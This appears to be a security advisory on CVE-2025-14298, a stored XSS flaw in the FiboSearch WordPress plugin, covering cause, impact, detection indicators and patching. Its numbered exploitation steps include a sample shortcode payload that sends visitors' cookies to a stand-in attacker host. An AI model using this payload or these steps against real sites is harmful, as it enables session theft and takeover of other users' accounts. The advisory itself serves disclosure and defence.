CVE-2025-14298: 
WordPress vulnerability analysis and mitigation

CVE-2025-14298 is a Stored Cross-Site Scripting (XSS) vulnerability in the FiboSearch – Ajax Search for WooCommerce WordPress plugin, affecting all versions up to and including 1.32.0. The flaw exists in the thegem_te_search shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was disclosed on December 20, 2025, with Wordfence as the reporting CNA. Exploitation requires the TheGem premium theme with Header Builder mode enabled and the FiboSearch "Replace search bars" option active. The CVSS v3.1 base score is 5.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization of user-supplied attributes passed to the thegem_te_search shortcode and inadequate output escaping in the plugin's thegem-elementor.php template file (lines 94 and 104). An authenticated attacker with at least Contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a WordPress page or post. When any user visits the injected page, the script executes in their browser context. The vulnerability is conditional on a specific environment: the TheGem premium theme must be installed with Header Builder mode enabled, and the FiboSearch "Replace search bars" integration option must be active (Wordfence, WP Plugin Trac).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and redirection of users to malicious sites. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the application (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14298 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is limited by the requirement for Contributor-level authentication and a specific premium theme configuration, reducing the overall attack surface (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running FiboSearch – Ajax Search for WooCommerce ≤1.32.0 with the TheGem premium theme (Header Builder mode enabled) and the "Replace search bars" option active. This can be done via passive enumeration of plugin/theme metadata.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create a new page or post and insert the thegem_te_search shortcode with a malicious attribute containing a JavaScript payload, e.g., [thegem_te_search attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or Submit Content: Publish the page (or submit for review if pending moderation) so the injected shortcode is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WP Plugin Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or REST API endpoints containing thegem_te_search shortcode with unusual attribute values including <script>, javascript:, or encoded variants.
• Database: WordPress wp_posts table entries containing the [thegem_te_search] shortcode with unexpected or encoded JavaScript payloads in post content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the shortcode, potentially carrying cookie or session data as query parameters.
• File System: No direct file system artifacts expected for this stored XSS, but review thegem-elementor.php in the plugin directory for unauthorized modifications.

Users should update the FiboSearch – Ajax Search for WooCommerce plugin to version 1.32.1 or later, which includes the fix as reflected in the plugin's changeset (WP Plugin Changeset). As a temporary workaround, administrators can disable the FiboSearch "Replace search bars" option for TheGem integration or disable the TheGem Header Builder mode to eliminate the vulnerable code path. Restricting Contributor-level user registrations and reviewing existing Contributor accounts for suspicious content is also advisable (Wordfence).

Sucuri included CVE-2025-14298 in their December 2025 vulnerability patch roundup, highlighting it as part of a broader set of WordPress plugin issues addressed that month (Sucuri Blog). The vulnerability received standard automated coverage from vulnerability aggregators and security feeds, with no notable researcher commentary or significant community discussion beyond routine disclosure.